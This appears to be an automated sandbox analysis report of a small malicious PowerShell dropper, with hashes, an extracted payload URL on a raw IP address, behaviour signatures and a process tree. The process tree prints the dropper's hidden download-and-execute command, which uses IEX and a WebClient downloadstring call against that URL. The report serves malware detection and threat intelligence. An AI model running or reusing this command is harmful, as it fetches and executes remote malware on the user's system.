Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 14:14

General

  • Target

    file.ps1

  • Size

    122B

  • MD5

    5f9a4c3c84f34bc79deb60a5830c5805

  • SHA1

    ade96f59bd66bcdb035c3da42bf20728c72a615e

  • SHA256

    70a6b7853cd9d96de8afc6e9a562df366966054f33ab4201e5c89aa2647ed196

  • SHA512

    9d6512905d5adce0a9b19687e45705f9b3bf59832fb8cf02cbbb2ddeff394a3a7bbb888072b3463bcc7548afc1644d35af3dd04c736dac3c4fce081865cbe01d

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://31.41.244.192:80/645gkdkfgd

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://31.41.244.192:80/645gkdkfgd'))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1892

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    5caad758326454b5788ec35315c4c304

    SHA1

    3aef8dba8042662a7fcf97e51047dc636b4d4724

    SHA256

    83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

    SHA512

    4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c1a0shi0.mog.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1892-30-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-29-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-22-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-23-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-24-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-31-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/1892-26-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/3152-12-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/3152-25-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/3152-0-0x00007FF8EA1D3000-0x00007FF8EA1D5000-memory.dmp

    Filesize

    8KB

  • memory/3152-11-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB

  • memory/3152-1-0x000001FDF0930000-0x000001FDF0952000-memory.dmp

    Filesize

    136KB

  • memory/3152-35-0x00007FF8EA1D0000-0x00007FF8EAC91000-memory.dmp

    Filesize

    10.8MB